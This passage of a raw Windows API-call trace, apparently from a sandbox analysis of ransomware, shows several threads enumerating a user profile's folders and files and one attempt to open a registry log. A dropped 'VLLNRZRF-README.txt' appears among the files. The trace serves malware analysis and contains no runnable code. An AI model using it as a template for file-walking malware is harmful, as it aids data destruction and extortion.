hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0084.008] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1210cb0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xa1210cb0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa1210cb0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0084.008] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ce1ebf0 | out: lpFindFileData=0x1ce1ebf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.008] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0084.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce1ee50) returned 1 [0084.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce1ee10) returned 1 [0084.011] CoUninitialize () Thread: id = 44 os_tid = 0x904 [0084.030] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0084.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1cebe3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0084.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cebe840) returned 1 [0084.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x1cebe330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0084.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", nBufferLength=0x105, lpBuffer=0x1cebe2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpFilePart=0x0) returned 0x1e [0084.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x1cebe4e0 | out: lpFindFileData=0x1cebe4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c00 [0084.031] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.032] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0084.032] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0084.032] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0084.032] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0084.033] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0084.033] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9ba95a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9ba95a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0084.033] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0084.033] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0084.033] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0084.034] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0084.034] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c41b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c41b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0084.034] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0084.034] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0084.034] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f3afd80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8f3afd80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8f389c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0084.035] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e56e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e56e60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0084.036] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0084.037] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0084.037] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0084.037] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0084.037] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9d72620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9d72620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0084.037] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1cebe530 | out: lpFindFileData=0x1cebe530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9d72620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9d72620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0084.038] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0084.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cebe790) returned 1 [0084.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cebe750) returned 1 [0084.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", nBufferLength=0x105, lpBuffer=0x1cebe250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", lpFilePart=0x0) returned 0x2d [0084.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", nBufferLength=0x105, lpBuffer=0x1cebe250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", lpFilePart=0x0) returned 0x2d [0084.075] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", nBufferLength=0x105, lpBuffer=0x1cebe250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", lpFilePart=0x0) returned 0x2d [0084.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cebe730) returned 1 [0084.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0084.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cebb070) returned 1 [0084.247] CoUninitialize () Thread: id = 45 os_tid = 0x984 [0084.256] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0084.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1cede600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0084.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cedea60) returned 1 [0084.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", nBufferLength=0x105, lpBuffer=0x1cede550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data", lpFilePart=0x0) returned 0x2e [0084.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", nBufferLength=0x105, lpBuffer=0x1cede4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\", lpFilePart=0x0) returned 0x2f [0084.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*.*", lpFindFileData=0x1cede700 | out: lpFindFileData=0x1cede700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0084.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cede990) returned 1 [0084.269] CoUninitialize () Thread: id = 46 os_tid = 0x994 [0084.277] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0084.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ce9e920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0084.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ed80) returned 1 [0084.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x1ce9e870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26 [0084.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x1ce9e810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27 [0084.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*.*", lpFindFileData=0x1ce9ea20 | out: lpFindFileData=0x1ce9ea20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, 